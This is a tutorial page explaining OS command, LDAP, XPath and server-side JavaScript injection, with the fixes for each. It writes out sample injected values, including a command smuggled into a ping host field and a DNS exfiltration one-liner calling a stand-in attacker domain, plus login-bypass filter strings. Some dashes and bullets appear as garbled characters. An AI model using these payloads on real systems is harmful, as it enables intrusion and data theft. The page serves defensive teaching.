Command & Code Injection
Fundamentals ยท Web Application Security ยท Reading time: ~10 min
If SQL injection is "user input breaks out of a database query," this family of bugs is "user input breaks out of some other interpreter" โ the shell, an LDAP directory query, an XPath expression, or even the application's own server-side JavaScript engine.
OS Command Injectionโ
Some applications call out to the operating system directly โ resizing an image with an external tool, pinging a host the user supplies, converting a file format. If user input is concatenated into that shell command, an attacker can append their own commands.
Intended command:
ping -c 4 8.8.8.8
Attacker-controlled "host" field: 8.8.8.8; whoami
Resulting command:
ping -c 4 8.8.8.8; whoami
Shell metacharacters are what make this possible:
| Character | Effect |
|---|---|
; | Run a second, unrelated command afterward |
&& | Run the second command only if the first succeeds |
| || | Run the second command only if the first fails |
| | | Pipe the first command's output into the second command |
` / $() | Command substitution โ run a command and inline its output |
This is exactly the same shell syntax covered in the Linux fundamentals pages. If you understand why cat file.txt | grep password works, you already understand the mechanism behind command injection โ the only new idea is that the "user" typing into that shell is now a remote attacker, one input field away.
Blind Command Injectionโ
Just like blind SQL injection, you don't always see command output directly. The same timing trick applies:
host=8.8.8.8; sleep 5
If the response takes ~5 seconds longer with no visible change, the command executed โ you just can't see its output. From there, attackers commonly exfiltrate data via DNS (nslookup $(whoami).attacker.com) or an out-of-band HTTP callback.
LDAP Injectionโ
Applications that check credentials or search a directory (Active Directory, OpenLDAP) often build an LDAP filter string from user input the same unsafe way SQL gets built:
Intended filter:
(&(uid=alice)(password=secret))
Attacker-controlled uid field: alice)(&)
Resulting filter:
(&(uid=alice)(&))(password=secret))
Because LDAP filters use (, ), &, |, and ! as structural characters, injecting them can short-circuit the authentication check in a way conceptually identical to ' OR '1'='1 in SQL.
XPath Injectionโ
The same pattern again, this time against XML documents queried with XPath:
Intended query:
//user[username/text()='alice' and password/text()='secret']
Attacker-controlled username: alice' or '1'='1
If the password check gets short-circuited the same way, an attacker authenticates without a valid password โ because XPath, like SQL and LDAP, is a query language with its own syntax that trusts whatever string it's handed.
Server-Side JavaScript Injectionโ
Some Node.js applications use functions like eval(), vm.runInNewContext(), or templating helpers that evaluate strings as code. If user input reaches one of these, the attacker isn't just manipulating a query โ they're executing arbitrary server-side code, which is usually worse than SQL injection because it can lead directly to full server compromise (reading files, making outbound network requests, spawning shells).
// A dangerous pattern:
const result = eval(userSuppliedExpression);
If userSuppliedExpression is attacker-controlled, this is equivalent to giving them a server-side JavaScript shell.
How These All Get Fixedโ
| Vulnerability | Primary Fix |
|---|---|
| OS command injection | Avoid shelling out entirely where possible; when unavoidable, use APIs that pass arguments as an array (never a concatenated string) so the shell never re-parses them. |
| LDAP injection | Use parameterized/escaped LDAP filter APIs rather than string concatenation. |
| XPath injection | Use parameterized XPath queries or XQuery variable binding. |
| Server-side JS injection | Never evaluate user-controlled strings as code. If a "safe" sandboxed eval is unavoidable, treat it as a last resort with strict allowlisting. |
Every bug on this page is the same root cause wearing a different syntax: a string built by concatenating trusted code with untrusted data, then handed to an interpreter that cannot tell the difference between the two. The fix is always the same shape too โ separate code from data at the API level (parameterization, argument arrays, safe builders) instead of trying to "sanitize" strings after the fact.
Key Takeawaysโ
- Command injection exploits shell metacharacters (
;,&&,|, backticks) the same way SQLi exploits SQL syntax. - Blind command injection is detected the same way as blind SQLi: timing differences and out-of-band callbacks.
- LDAP and XPath injection apply the identical "break out of query syntax" idea to directory and XML queries.
- Server-side JS injection via
eval()-like functions is effectively remote code execution, not just data manipulation. - The universal fix is separating code from data structurally โ not string sanitization.
Nextโ
A related but distinct idea: what happens when the template engine itself โ not a database or shell โ is the thing that trusts user input too much: Template Injection (SSTI/CSTI).